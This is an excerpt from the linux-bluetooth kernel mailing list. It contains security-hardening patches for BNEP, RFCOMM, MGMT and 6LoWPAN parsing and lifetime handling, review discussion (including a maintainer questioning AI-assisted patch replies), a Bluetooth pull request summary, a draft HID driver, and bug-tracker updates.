+++ b/net/bluetooth/bnep/core.c
@@ -206,14 +206,11 @@ static int bnep_ctrl_set_mcfilter(struct bnep_session *s, u8 *data, int len)
return 0;
}
-static int bnep_rx_control(struct bnep_session *s, void *data, int len)
+static int bnep_rx_control_cmd(struct bnep_session *s, u8 cmd, void *data,
+ int len)
{
- u8 cmd = *(u8 *)data;
int err = 0;
- data++;
- len--;
-
switch (cmd) {
case BNEP_CMD_NOT_UNDERSTOOD:
case BNEP_SETUP_CONN_RSP:
@@ -254,6 +251,14 @@ static int bnep_rx_control(struct bnep_session *s, void *data, int len)
return err;
}
+static int bnep_rx_control(struct bnep_session *s, void *data, int len)
+{
+ if (len < 1)
+ return -EILSEQ;
+
+ return bnep_rx_control_cmd(s, *(u8 *)data, data + 1, len - 1);
+}
+
static int bnep_rx_extension(struct bnep_session *s, struct sk_buff *skb)
{
struct bnep_ext_hdr *h;
@@ -299,19 +304,26 @@ static int bnep_rx_frame(struct bnep_session *s, struct sk_buff *skb)
{
struct net_device *dev = s->dev;
struct sk_buff *nskb;
+ u8 *data;
u8 type, ctrl_type;
dev->stats.rx_bytes += skb->len;
- type = *(u8 *) skb->data;
- skb_pull(skb, 1);
- ctrl_type = *(u8 *)skb->data;
+ data = skb_pull_data(skb, sizeof(type));
+ if (!data)
+ goto badframe;
+ type = *data;
if ((type & BNEP_TYPE_MASK) >= sizeof(__bnep_rx_hlen))
goto badframe;
if ((type & BNEP_TYPE_MASK) == BNEP_CONTROL) {
- if (bnep_rx_control(s, skb->data, skb->len) < 0) {
+ data = skb_pull_data(skb, sizeof(ctrl_type));
+ if (!data)
+ goto badframe;
+ ctrl_type = *data;
+
+ if (bnep_rx_control_cmd(s, ctrl_type, skb->data, skb->len) < 0) {
dev->stats.tx_errors++;
kfree_skb(skb);
return 0;
@@ -324,24 +336,27 @@ static int bnep_rx_frame(struct bnep_session *s, struct sk_buff *skb)
/* Verify and pull ctrl message since it's already processed */
switch (ctrl_type) {
- case BNEP_SETUP_CONN_REQ:
- /* Pull: ctrl type (1 b), len (1 b), data (len bytes) */
- if (!skb_pull(skb, 2 + *(u8 *)(skb->data + 1) * 2))
+ case BNEP_SETUP_CONN_REQ: {
+ u8 uuid_size;
+
+ /* Pull uuid_size and the dst/src service UUIDs. */
+ data = skb_pull_data(skb, sizeof(uuid_size));
+ if (!data)
+ goto badframe;
+ uuid_size = *data;
+ if (!skb_pull(skb, uuid_size + uuid_size))
goto badframe;
break;
+ }
case BNEP_FILTER_MULTI_ADDR_SET:
- case BNEP_FILTER_NET_TYPE_SET: {
- u8 *hdr;
-
- /* Pull ctrl type (1 b) + len (2 b) */
- hdr = skb_pull_data(skb, 3);
- if (!hdr)
+ case BNEP_FILTER_NET_TYPE_SET:
+ /* Pull: len (2 b), data (len bytes) */
+ data = skb_pull_data(skb, sizeof(u16));
+ if (!data)
goto badframe;
- /* Pull data (len bytes); length is big-endian */
- if (!skb_pull(skb, get_unaligned_be16(&hdr[1])))
+ if (!skb_pull(skb, get_unaligned_be16(data)))
goto badframe;
break;
- }
default:
kfree_skb(skb);
return 0;
--
2.43.0
^ permalink raw reply related
* Re: [PATCH v4] Bluetooth: bnep: reject short frames before parsing
From: Cen Zhang @ 2026-05-29 1:00 UTC (permalink / raw)
To: Luiz Augusto von Dentz
Cc: Marcel Holtmann, linux-bluetooth, linux-kernel, zerocling0077,
2045gemini
In-Reply-To: <CABBYNZJt1dLQyFk+vfn4bzktF-a5=LKghXjDDMAomeJMe0NW=w@mail.gmail.com>
Hi Luiz,
On Fri, May 29, 2026 at 4:48 AM Luiz Augusto von Dentz
<luiz.dentz@gmail.com> wrote:
>
> This is what you get if you don't know where to look at:
>
> struct bnep_setup_conn_req {
> uint8_t type;
> uint8_t ctrl;
> uint8_t uuid_size;
> uint8_t service[0];
> } __attribute__((packed));
> https://github.com/bluez/bluez/blob/master/lib/bluetooth/bnep.h#L79
>
> It is in fact a tuple of src + dst service as parsed by btmon:
> https://github.com/bluez/bluez/blob/master/monitor/bnep.c#L104
Right, service[] is the dst + src service tuple, each uuid_size, so the
skip after the control type is 1 + 2 * uuid_size. For v5, I'll name the
byte uuid_size and make the setup-request layout explicit in the comment
so it is not an opaque length.
> Probably just reference the above, but the fact that you couldn't
> mention any of the BlueZ references really bothers me. Although the
> result was correct, the lack of references makes me believe I'm just
> arguing with an AI prompt which doesn't have BlueZ userspace loaded as
> context.
You are right to call this out, and I'm sorry for the noise.
The initial lead for this issue did come from AI assistance. I then
reproduced the bug under KASAN and checked the kernel-side code, but I
should have done a better job before replying.
I've also been reading the recent kernel discussions around AI-assisted
reports and patches, and I understand the concern better now. A patch
is not just a bug report saying what can go wrong; it also has to
explain why the change is correct in the subsystem context, so reviewers
are not left doing that work from scratch. I was thinking too much like
a bug reporter there and not carefully enough as a patch author. I will
not rely on LLM output as a substitute for reading and understanding the
code.
I'll send v5 with the above and will be more careful with Bluetooth
patches and follow-ups going forward.
Thanks for taking the time to point this out.
Zhang Cen
^ permalink raw reply
* Re: [GIT PULL] bluetooth 2026-05-28
From: patchwork-bot+netdevbpf @ 2026-05-29 0:10 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: davem, kuba, linux-bluetooth, netdev
In-Reply-To: <20260528131839.462344-1-luiz.dentz@gmail.com>
Hello:
This pull request was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Thu, 28 May 2026 09:18:39 -0400 you wrote:
> The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
>
> Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
>
> are available in the Git repository at:
>
> git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-28
>
> [...]
Here is the summary with links:
- [GIT,PULL] bluetooth 2026-05-28
https://git.kernel.org/netdev/net/c/2412591cfe66
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH v4] Bluetooth: bnep: reject short frames before parsing
From: Luiz Augusto von Dentz @ 2026-05-28 20:48 UTC (permalink / raw)
To: Cen Zhang
Cc: Marcel Holtmann, linux-bluetooth, linux-kernel, zerocling0077,
2045gemini
In-Reply-To: <CAB7XQsF72-2zPMKFjko5pKvR-scqyOCT3463cghQBY4G5O4arw@mail.gmail.com>
Hi Cen,
On Thu, May 28, 2026 at 9:30 AM Cen Zhang <rollkingzzc@gmail.com> wrote:
>
> Hi Luiz,
>
> Thanks for taking another look.
>
> > This still looks incorrect to me, why should we do * 2? If look at
> > BNEP_FILTER_NET_TYPE_SET it just use the header to pull using
> > get_unaligned, I know this is an existing problem but except if the
> > BNEP_SETUP_CONN_REQ header length works on a multiple of 2 this makes
> > no sense to me.
>
> The reason I used `* 2` there is that I read that byte as the UUID size,
> not as a total payload length.
>
> For BNEP_SETUP_CONN_REQ, the byte after the control type is the UUID
> Size field. The setup request then carries two UUIDs of that size: the
> destination service UUID and the source service UUID. So the intended
> skip was:
>
> UUID Size field itself
> destination service UUID, uuid_size bytes
> source service UUID, uuid_size bytes
This is what you get if you don't know where to look at:
struct bnep_setup_conn_req {
uint8_t type;
uint8_t ctrl;
uint8_t uuid_size;
uint8_t service[0];
} __attribute__((packed));
https://github.com/bluez/bluez/blob/master/lib/bluetooth/bnep.h#L79
It is in fact a tuple of src + dst service as parsed by btmon:
https://github.com/bluez/bluez/blob/master/monitor/bnep.c#L104
> That is different from BNEP_FILTER_NET_TYPE_SET, where the header has a
> 16-bit length field and the value from get_unaligned_be16() is already
> the total filter-list payload length.
>
> That said, I agree the patch makes this much less clear than it should.
> The comment says "data (len * 2 bytes)", which makes it look like a
> generic length field, and the raw `* 2` is too opaque.
>
> I can send a v5 that names the byte `uuid_size` and uses
> `uuid_size + uuid_size` with a comment explaining that the two parts are
> the destination and source service UUIDs.If I have misunderstood anything
> here, sorry for the confusion. I would be happy to help with any
> further changes
> or testing.
Probably just reference the above, but the fact that you couldn't
mention any of the BlueZ references really bothers me. Although the
result was correct, the lack of references makes me believe I'm just
arguing with an AI prompt which doesn't have BlueZ userspace loaded as
context.
--
Luiz Augusto von Dentz
^ permalink raw reply
* Fwd: Correct contact people(s) and Linux branch for my HID driver?
From: Mikko Laanti @ 2026-05-28 18:38 UTC (permalink / raw)
To: linux-bluetooth
Hi,
I have witten following driver for bluetooth HID device iRig BlueTurn.
To whom should I contact? If it is accepted, to what git Linux kernel
branch should I it check-in?
Regards,
Mikko Laanti
// SPDX-License-Identifier: GPL-2.0+
/*
* HID driver for IK Multimedia iRig BlueTurn devices
*
* Copyright (c) 2026 Mikko Laanti <strokeplan@gmail.com>
*/
#include <linux/hid.h>
#include <linux/module.h>
#include "hid-ids.h"
MODULE_AUTHOR("Mikko Laanti <strokeplan@gmail.com");
MODULE_DESCRIPTION("iRig BlueTurn devices");
MODULE_LICENSE("GPL");
/* Changes in Makefile
obj-$(CONFIG_HID_IRIG_BLUETURN) += hid-irig-blueturn.o
* Changes in Kconfig
config HID_IRIG_BLUETURN
tristate "iRig BlueTurn devices"
help
Support for iRig BlueTurn devices, which are not fully
compliant with the
HID standard.
hid-irig-blueturn
To compile this driver as a module, choose M here: the module
will be called hid-irig-blueturn.ko.
* Changes in hid-ids.h
#define USB_VENDOR_ID_IK_MULTIMEDIA 0x0214
#define USB_VENDOR_ID_IK_MULTIMEDIA_IRIG_BLUETURN 0x0002
*/
/*
* The iRig BlueTurn (Page turner) foot controlled bluetooth keyboard
uses unnumbered keyboard messages
* iRig BlueTurn can be configured to three possible configurations for
its two buttons:
* 1. ARROW_UP/ARROW_DOWN
* 2. PAGE_UP/PAGE_DOWN
* 3. ARROW_LEFT/ARROW_RIGHT
* E.g. A compliant bluetooth keyboard sends Up Arrow: 01 00 00 52 00
00 00 00 00 (first data byte means it is "numbered")
* IK multimedia iRig BlueTurn sends Up Arrow: 00 00 00 52 00
00 00 00
* Without this driver and iRig BlueTurn connected, you'll get system
log dmesg error:
* "Event data for report 0 was too short (8 vs 7)" (hid-core.c:
hid_report_raw_event)
*/
static int irig_blueturn_raw_event(struct hid_device *hdev, struct
hid_report *report,
u8 *data, int size)
{
/* iRig Blueturn always sends unnumbered 8 bytes i.e. 64 bits
data reports.
* hid-core.c: hid_report_raw_event() decreases data size by
one because keyboard messages should be numbered.
* We decrease report size here so that it will pass data size
test in hid-core.c:hid_report_raw_event()
* Right way would be to adjust data so that it looks exactly
like compliant keyboard, but we cannot set
* the size because it has been passed to this
irig_blueturn_raw_event as a value, not as a reference.
* So we have to decrease report size here so that it will
pass data size test in hid-core.c:hid_report_raw_event()
*/
int ret = 0;
if (report->size == 64) // 64 bits length
{
report->size = 56; // decrease it to 56 bit
}
return ret;
}
static const struct hid_device_id irig_blueturn_id_table[] = {
{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_IK_MULTIMEDIA,
USB_VENDOR_ID_IK_MULTIMEDIA_IRIG_BLUETURN) },
{ }
};
MODULE_DEVICE_TABLE(hid, irig_blueturn_id_table);
static struct hid_driver irig_blueturn_driver = {
.name = "irig blueturn",
.id_table = irig_blueturn_id_table,
.raw_event = irig_blueturn_raw_event,
};
module_hid_driver(irig_blueturn_driver);
^ permalink raw reply
* [Bug 220237] Bluetooth: MediaTek MT7925 (0e8d:7925) fails to load firmware with timeout (-110)
From: bugzilla-daemon @ 2026-05-28 16:19 UTC (permalink / raw)
To: linux-bluetooth
In-Reply-To: <bug-220237-62941@https.bugzilla.kernel.org/>
https://bugzilla.kernel.org/show_bug.cgi?id=220237
--- Comment #7 from Are Mehus (are.mehus@protonmail.com) ---
Also fixed for me on 7.0.10.
Thank you!
Sent from Proton Mail for iOS.
-------- Original Message --------
On Thursday, 05/28/26 at 18:14 bugzilla-daemon@kernel.org wrote:
https://bugzilla.kernel.org/show_bug.cgi?id=220237
--- Comment #6 from Cameron VanHouzen (cameron@vanhouzen.me) ---
Note that this issue is now fixed for me in kernel version 7.0.10
==INITIAL DEVICE DETECTION==
May 27 20:57:29 kernel: usb 1-12: new high-speed USB device number 10 using
xhci_hcd
May 27 20:57:29 kernel: usb 1-12: New USB device found, idVendor=0e8d,
idProduct=0717, bcdDevice= 1.00
May 27 20:57:29 kernel: usb 1-12: Product: Wireless_Device
May 27 20:57:29 kernel: usb 1-12: Manufacturer: MediaTek Inc.
May 27 20:57:29 kernel: usb 1-12: SerialNumber: 000000000
==FIRMWARE LOAD==
May 27 20:57:33 kernel: Bluetooth: Core ver 2.22
May 27 20:57:33 kernel: Bluetooth: HCI device and connection manager
initialized
May 27 20:57:33 kernel: Bluetooth: HCI socket layer initialized
May 27 20:57:33 kernel: Bluetooth: L2CAP socket layer initialized
May 27 20:57:33 kernel: Bluetooth: SCO socket layer initialized
May 27 20:57:33 kernel: usbcore: registered new interface driver btusb
May 27 20:57:33 kernel: Bluetooth: hci0: HW/SW Version: 0x00000000, Build Time:
20260414153243
May 27 20:57:35 kernel: Bluetooth: hci0: Device setup in 1835871 usecs
May 27 20:57:35 kernel: Bluetooth: hci0: HCI Enhanced Setup Synchronous
Connection command is advertised, but not supported.
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are on the CC list for the bug.
You reported the bug.
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply
* [Bug 220237] Bluetooth: MediaTek MT7925 (0e8d:7925) fails to load firmware with timeout (-110)
From: bugzilla-daemon @ 2026-05-28 16:14 UTC (permalink / raw)
To: linux-bluetooth
In-Reply-To: <bug-220237-62941@https.bugzilla.kernel.org/>
https://bugzilla.kernel.org/show_bug.cgi?id=220237
--- Comment #6 from Cameron VanHouzen (cameron@vanhouzen.me) ---
Note that this issue is now fixed for me in kernel version 7.0.10
==INITIAL DEVICE DETECTION==
May 27 20:57:29 kernel: usb 1-12: new high-speed USB device number 10 using
xhci_hcd
May 27 20:57:29 kernel: usb 1-12: New USB device found, idVendor=0e8d,
idProduct=0717, bcdDevice= 1.00
May 27 20:57:29 kernel: usb 1-12: Product: Wireless_Device
May 27 20:57:29 kernel: usb 1-12: Manufacturer: MediaTek Inc.
May 27 20:57:29 kernel: usb 1-12: SerialNumber: 000000000
==FIRMWARE LOAD==
May 27 20:57:33 kernel: Bluetooth: Core ver 2.22
May 27 20:57:33 kernel: Bluetooth: HCI device and connection manager
initialized
May 27 20:57:33 kernel: Bluetooth: HCI socket layer initialized
May 27 20:57:33 kernel: Bluetooth: L2CAP socket layer initialized
May 27 20:57:33 kernel: Bluetooth: SCO socket layer initialized
May 27 20:57:33 kernel: usbcore: registered new interface driver btusb
May 27 20:57:33 kernel: Bluetooth: hci0: HW/SW Version: 0x00000000, Build Time:
20260414153243
May 27 20:57:35 kernel: Bluetooth: hci0: Device setup in 1835871 usecs
May 27 20:57:35 kernel: Bluetooth: hci0: HCI Enhanced Setup Synchronous
Connection command is advertised, but not supported.
--
You may reply to this email to add a comment.
You are receiving this mail because:
You are the assignee for the bug.
^ permalink raw reply
* Re: [GIT PULL] bluetooth 2026-05-28
From: Luiz Augusto von Dentz @ 2026-05-28 16:10 UTC (permalink / raw)
To: Paolo Abeni; +Cc: davem, kuba, linux-bluetooth, netdev
In-Reply-To: <46c6541e-9cd3-43f6-94d5-baac7b3fe7ad@redhat.com>
Hi Paolo,
On Thu, May 28, 2026 at 11:52 AM Paolo Abeni <pabeni@redhat.com> wrote:
>
> On 5/28/26 3:18 PM, Luiz Augusto von Dentz wrote:
> > The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
> >
> > Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
> >
> > are available in the Git repository at:
> >
> > git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-28
> >
> > for you to fetch changes up to cdf88b35e06f1b385f7f6228060ae541d44fbb72:
> >
> > Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync() (2026-05-28 08:52:21 -0400)
> >
> > ----------------------------------------------------------------
> > bluetooth pull request for net:
> >
> > - hci_core: Rework hci_dev_do_reset() to use hci_sync functions
> > - hci_conn: Fix memory leak in hci_le_big_terminate()
> > - hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
> > - hci_sync: Reset device counters in hci_dev_close_sync()
> > - hci_sync: fix UAF in hci_le_create_cis_sync
> > - L2CAP: Fix possible crash on l2cap_ecred_conn_rsp
> > - L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn
> > - L2CAP: use chan timer to close channels in cleanup_listen()
> > - L2CAP: clear chan->ident on ECRED reconfiguration success
> > - ISO: fix UAF in iso_recv_frame
> > - ISO: serialize iso_sock_clear_timer with socket lock
> > - HIDP: fix missing length checks in hidp_input_report()
> > - 6lowpan: check skb_clone() return value in send_mcast_pkt()
> > - btusb: Allow firmware re-download when version matches
> > - hci_qca: Use 100 ms SSR delay for rampatch and NVM loading
>
> I'm sorry, it did not fit today's net PR; I started cooking it quite a
> bit earlier than this one, and I looked back at the ML only after
> completion.
Well I guess it will need to be merged for the next PR. That said, I
wonder if I need to submit it one day earlier since there is a risk it
doesn't get merged immediately, causing us to miss a week of the RC
cycle. Maybe due to high influx of AI/Security patches we will need to
submit it twice a week or something.
--
Luiz Augusto von Dentz
^ permalink raw reply
* Re: [GIT PULL] bluetooth 2026-05-28
From: Paolo Abeni @ 2026-05-28 15:52 UTC (permalink / raw)
To: Luiz Augusto von Dentz, davem, kuba; +Cc: linux-bluetooth, netdev
In-Reply-To: <20260528131839.462344-1-luiz.dentz@gmail.com>
On 5/28/26 3:18 PM, Luiz Augusto von Dentz wrote:
> The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
>
> Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
>
> are available in the Git repository at:
>
> git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-28
>
> for you to fetch changes up to cdf88b35e06f1b385f7f6228060ae541d44fbb72:
>
> Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync() (2026-05-28 08:52:21 -0400)
>
> ----------------------------------------------------------------
> bluetooth pull request for net:
>
> - hci_core: Rework hci_dev_do_reset() to use hci_sync functions
> - hci_conn: Fix memory leak in hci_le_big_terminate()
> - hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
> - hci_sync: Reset device counters in hci_dev_close_sync()
> - hci_sync: fix UAF in hci_le_create_cis_sync
> - L2CAP: Fix possible crash on l2cap_ecred_conn_rsp
> - L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn
> - L2CAP: use chan timer to close channels in cleanup_listen()
> - L2CAP: clear chan->ident on ECRED reconfiguration success
> - ISO: fix UAF in iso_recv_frame
> - ISO: serialize iso_sock_clear_timer with socket lock
> - HIDP: fix missing length checks in hidp_input_report()
> - 6lowpan: check skb_clone() return value in send_mcast_pkt()
> - btusb: Allow firmware re-download when version matches
> - hci_qca: Use 100 ms SSR delay for rampatch and NVM loading
I'm sorry, it did not fit today's net PR; I started cooking it quite a
bit earlier than this one, and I looked back at the ML only after
completion.
/P
^ permalink raw reply
* PipeWire & BlueZ face-to-face meetings 29-31st May
From: George Kiagiadakis @ 2026-05-28 14:43 UTC (permalink / raw)
To: linux-bluetooth
Hello everyone,
Tomorrow and until Sunday we are having a co-located face-to-face meeting in Nice for the PipeWire and BlueZ projects (along with other events). For more details, see https://embedded-recipes.org/2026/colo/
As a reminder to everyone, the schedule will be as follows:
* Friday 29th: PipeWire hackfest
* Saturday 30th: PipeWire hackfest & BlueZ face-to-face (co-located in the same room)
* Sunday 31st: BlueZ face-to-face
The plan is to start on Friday at 9am CEST and we have the room until 6pm.
I have created a spreadsheet to help us plan the schedule. You can view it at:
- https://docs.google.com/spreadsheets/d/137Rxjt1_mIwWkJDCWPI2SPPWPcq3tg3XgFCYE2TSw8U/edit?usp=sharing
If you are interested in attending the discussions remotely, feel free to join us anytime at:
- https://meetings.dialpad.com/room/collabora/pipewire-hackfest-bluez-face-to-face-2026
The online meeting room will be available all 3 days.
Best regards,
George
^ permalink raw reply
* Re: [PATCH v3] Bluetooth: MGMT: validate advertising TLV before type checks
From: patchwork-bot+bluetooth @ 2026-05-28 14:20 UTC (permalink / raw)
To: Cen Zhang
Cc: marcel, luiz.dentz, linux-bluetooth, linux-kernel, pmenzel,
zerocling0077, 2045gemini
In-Reply-To: <20260528094506.3699804-1-rollkingzzc@gmail.com>
Hello:
This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
On Thu, 28 May 2026 17:45:06 +0800 you wrote:
> tlv_data_is_valid() reads each advertising data field length from
> data[i], then inspects data[i + 1] for managed EIR types before
> checking that the current field still fits inside the supplied buffer.
>
> A malformed field whose length byte is the last byte of the buffer can
> therefore make the parser read one byte past the advertising data.
>
> [...]
Here is the summary with links:
- [v3] Bluetooth: MGMT: validate advertising TLV before type checks
https://git.kernel.org/bluetooth/bluetooth-next/c/899a200a7648
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH v3] Bluetooth: RFCOMM: validate skb length in MCC handlers
From: patchwork-bot+bluetooth @ 2026-05-28 14:20 UTC (permalink / raw)
To: SeungJu Cheon
Cc: linux-bluetooth, marcel, luiz.dentz, pmenzel, me, linux-kernel,
linux-kernel-mentees, skhan, meatuni001
In-Reply-To: <20260525110443.139485-1-suunj1331@gmail.com>
Hello:
This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
On Mon, 25 May 2026 20:04:43 +0900 you wrote:
> The RFCOMM MCC handlers cast skb->data to protocol-specific structs
> without validating skb->len first. A malicious remote device can send
> truncated MCC frames and trigger out-of-bounds reads in these handlers.
>
> Fix this by using skb_pull_data() to validate and access the required
> data before dereferencing it.
>
> [...]
Here is the summary with links:
- [v3] Bluetooth: RFCOMM: validate skb length in MCC handlers
https://git.kernel.org/bluetooth/bluetooth-next/c/a82ccb946ae5
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH v2] Bluetooth: RFCOMM: hold listener socket in rfcomm_connect_ind()
From: patchwork-bot+bluetooth @ 2026-05-28 14:20 UTC (permalink / raw)
To: Cen Zhang
Cc: marcel, luiz.dentz, linux-bluetooth, linux-kernel, zerocling0077,
2045gemini
In-Reply-To: <20260528075641.3416308-1-rollkingzzc@gmail.com>
Hello:
This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
On Thu, 28 May 2026 15:56:41 +0800 you wrote:
> rfcomm_get_sock_by_channel() scans rfcomm_sk_list under the list lock,
> but returns the selected listener after dropping that lock without
> taking a reference. rfcomm_connect_ind() then locks the listener,
> queues a child socket on it, and may notify it after unlocking it.
>
> The buggy scenario involves two paths, with each column showing the
> order within that path:
>
> [...]
Here is the summary with links:
- [v2] Bluetooth: RFCOMM: hold listener socket in rfcomm_connect_ind()
https://git.kernel.org/bluetooth/bluetooth-next/c/339cf04eb21a
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH v4] Bluetooth: bnep: reject short frames before parsing
From: Cen Zhang @ 2026-05-28 13:30 UTC (permalink / raw)
To: Luiz Augusto von Dentz
Cc: Marcel Holtmann, linux-bluetooth, linux-kernel, zerocling0077,
2045gemini
In-Reply-To: <CABBYNZJ7aETr9KdUFdU5uVkcr8RMzOyBS5xv4vpb7ij6Di7FOA@mail.gmail.com>
Hi Luiz,
Thanks for taking another look.
> This still looks incorrect to me, why should we do * 2? If look at
> BNEP_FILTER_NET_TYPE_SET it just use the header to pull using
> get_unaligned, I know this is an existing problem but except if the
> BNEP_SETUP_CONN_REQ header length works on a multiple of 2 this makes
> no sense to me.
The reason I used `* 2` there is that I read that byte as the UUID size,
not as a total payload length.
For BNEP_SETUP_CONN_REQ, the byte after the control type is the UUID
Size field. The setup request then carries two UUIDs of that size: the
destination service UUID and the source service UUID. So the intended
skip was:
UUID Size field itself
destination service UUID, uuid_size bytes
source service UUID, uuid_size bytes
That is different from BNEP_FILTER_NET_TYPE_SET, where the header has a
16-bit length field and the value from get_unaligned_be16() is already
the total filter-list payload length.
That said, I agree the patch makes this much less clear than it should.
The comment says "data (len * 2 bytes)", which makes it look like a
generic length field, and the raw `* 2` is too opaque.
I can send a v5 that names the byte `uuid_size` and uses
`uuid_size + uuid_size` with a comment explaining that the two parts are
the destination and source service UUIDs.If I have misunderstood anything
here, sorry for the confusion. I would be happy to help with any
further changes
or testing.
Thanks,
Zhang Cen
^ permalink raw reply
* [GIT PULL] bluetooth 2026-05-28
From: Luiz Augusto von Dentz @ 2026-05-28 13:18 UTC (permalink / raw)
To: davem, kuba; +Cc: linux-bluetooth, netdev
The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-28
for you to fetch changes up to cdf88b35e06f1b385f7f6228060ae541d44fbb72:
Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync() (2026-05-28 08:52:21 -0400)
----------------------------------------------------------------
bluetooth pull request for net:
- hci_core: Rework hci_dev_do_reset() to use hci_sync functions
- hci_conn: Fix memory leak in hci_le_big_terminate()
- hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
- hci_sync: Reset device counters in hci_dev_close_sync()
- hci_sync: fix UAF in hci_le_create_cis_sync
- L2CAP: Fix possible crash on l2cap_ecred_conn_rsp
- L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn
- L2CAP: use chan timer to close channels in cleanup_listen()
- L2CAP: clear chan->ident on ECRED reconfiguration success
- ISO: fix UAF in iso_recv_frame
- ISO: serialize iso_sock_clear_timer with socket lock
- HIDP: fix missing length checks in hidp_input_report()
- 6lowpan: check skb_clone() return value in send_mcast_pkt()
- btusb: Allow firmware re-download when version matches
- hci_qca: Use 100 ms SSR delay for rampatch and NVM loading
----------------------------------------------------------------
Doruk Tan Ozturk (1):
Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync
Heitor Alves de Siqueira (3):
Bluetooth: hci_core: Rework hci_dev_do_reset() to use hci_sync functions
Bluetooth: hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close
Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync()
Luiz Augusto von Dentz (1):
Bluetooth: L2CAP: Fix possible crash on l2cap_ecred_conn_rsp
Muhammad Bilal (3):
Bluetooth: HIDP: fix missing length checks in hidp_input_report()
Bluetooth: ISO: fix UAF in iso_recv_frame
Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock
Pavitra Jha (1):
Bluetooth: hci_conn: Fix memory leak in hci_le_big_terminate()
Shuai Zhang (2):
Bluetooth: btusb: Allow firmware re-download when version matches
Bluetooth: hci_qca: Use 100 ms SSR delay for rampatch and NVM loading
Siwei Zhang (2):
Bluetooth: L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn
Bluetooth: L2CAP: use chan timer to close channels in cleanup_listen()
Zhao Dongdong (1):
Bluetooth: 6lowpan: check skb_clone() return value in send_mcast_pkt()
Zhenghang Xiao (1):
Bluetooth: l2cap: clear chan->ident on ECRED reconfiguration success
drivers/bluetooth/btusb.c | 8 +++++++-
drivers/bluetooth/hci_qca.c | 4 ++--
net/bluetooth/6lowpan.c | 2 ++
net/bluetooth/hci_conn.c | 4 +++-
net/bluetooth/hci_core.c | 43 +++----------------------------------------
net/bluetooth/hci_sync.c | 16 +++++++++++++++-
net/bluetooth/hidp/core.c | 23 ++++++++++++++++++-----
net/bluetooth/iso.c | 12 ++++++++----
net/bluetooth/l2cap_core.c | 41 +++++++++++++++++++++++++++++++++--------
net/bluetooth/l2cap_sock.c | 16 +++++++++-------
10 files changed, 100 insertions(+), 69 deletions(-)
^ permalink raw reply
* Re: [PATCH v3] Bluetooth: 6lowpan: Fix peer and channel lifetime during teardown
From: Luiz Augusto von Dentz @ 2026-05-28 13:13 UTC (permalink / raw)
To: Zhang Cen
Cc: Marcel Holtmann, linux-bluetooth, linux-kernel, Hillf Danton,
zerocling0077, 2045gemini
In-Reply-To: <20260511172310.3723421-1-rollkingzzc@gmail.com>
Hi,
On Mon, May 11, 2026 at 1:23 PM Zhang Cen <rollkingzzc@gmail.com> wrote:
>
> A 6LoWPAN peer keeps a protocol-owned L2CAP channel reference in
> peer->chan. chan_close_cb() removes the peer from the RCU list when the
> channel is closed, but the old code also dropped that channel reference
> before the peer object stopped being observable by in-flight RCU readers.
>
> The buggy scenario involves two paths, with each column showing the order
> within that path:
>
> close path: lookup/transmit path:
> l2cap_conn_del() or another setup_header(), send_mcast_pkt(),
> close path holds a temporary bt_6lowpan_disconnect(), or
> channel reference chan_recv_cb() observes a peer
>
> l2cap_chan_del() drops the the reader leaves the RCU read
> connection-owned channel reference side critical section, or keeps
> using peer->chan inside it
>
> chan_close_cb() removes the peer the reader reads channel fields,
> from the peer list locks the channel, or sends
> through peer->chan
>
> the old chan_close_cb() dropped
> the peer-owned channel reference
>
> the close caller releases its
> temporary channel reference
>
> If the close path consumes the peer-owned channel reference before a
